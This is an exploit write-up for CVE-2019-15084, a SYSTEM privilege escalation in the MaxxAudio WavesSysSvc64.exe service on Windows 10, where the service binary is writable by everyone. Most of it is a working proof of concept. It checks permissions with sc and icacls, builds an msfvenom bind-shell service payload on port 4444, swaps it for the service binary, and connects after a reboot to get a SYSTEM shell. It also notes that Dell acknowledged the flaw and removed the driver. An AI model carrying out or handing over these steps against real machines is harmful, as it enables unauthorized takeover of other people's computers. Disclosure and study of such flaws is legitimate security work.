# Exploit Title: MaxxAudio Drivers WavesSysSvc64.exe File Permissions SYSTEM Privilege Escalation 
# Google Dork: 
# Date: 2/18/2019
# Exploit Author: Mike Siegel @ml_siegel
# Vendor Homepage: https://maxx.com
# Software Link: 
# Version: 1.6.2.0 (May affect other versions)
# Tested on: Win 10 64 bit
# CVE : CVE-2019-15084

MaxxAudio licenses their driver technology to OEMs and is commonly installed on Dell Laptops (and others) as part of other driver installations.

MaxxAudio drivers version 1.6.2.0 install with incorrect file permissions. As a result a local attacker can escalate to SYSTEM level privileges.

Dell PSIRT has acknowledged the issue and advises updating to a supported driver.

Proof of concept:

1. Validate incorrect permissions.

C:\Users\user> sc qc wavessyssvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wavessyssvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Waves Audio Services
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\Users\user>icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe Everyone:(I)(F)
                                                   NT AUTHORITY\SYSTEM:(I)(F)
                                                   BUILTIN\Administrators:(I)(F)
                                                   BUILTIN\Users:(I)(RX)
                                                   ACME\user:(I)(F)
                                                   APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                   APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\user>

2. Create payload

Create a service payload in msfvenom, transfer to victim:

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe

3. Overwrite file.

The file will be in use, you cannot directly overwrite. However you can move the file and replace.

C:\Users\user> move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"
C:\Users\user> copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"

4. Reboot the system.  Then use netcat or telnet to connect back to 127.0.0.1:4444

C:\WINDOWS\SYSTEM32>whoami
whoami
nt authority\system

 
Additional information:

This file is embedded in Realtek audio drivers. Dell has since removed this version from their site but it appears to have been released in January 2017.
hash is as follows: cbd0c592c59db94d27ad89db2db7432c0c40db69198d9174eb1bb4bd04e12213 *WavesSysSvc64.exe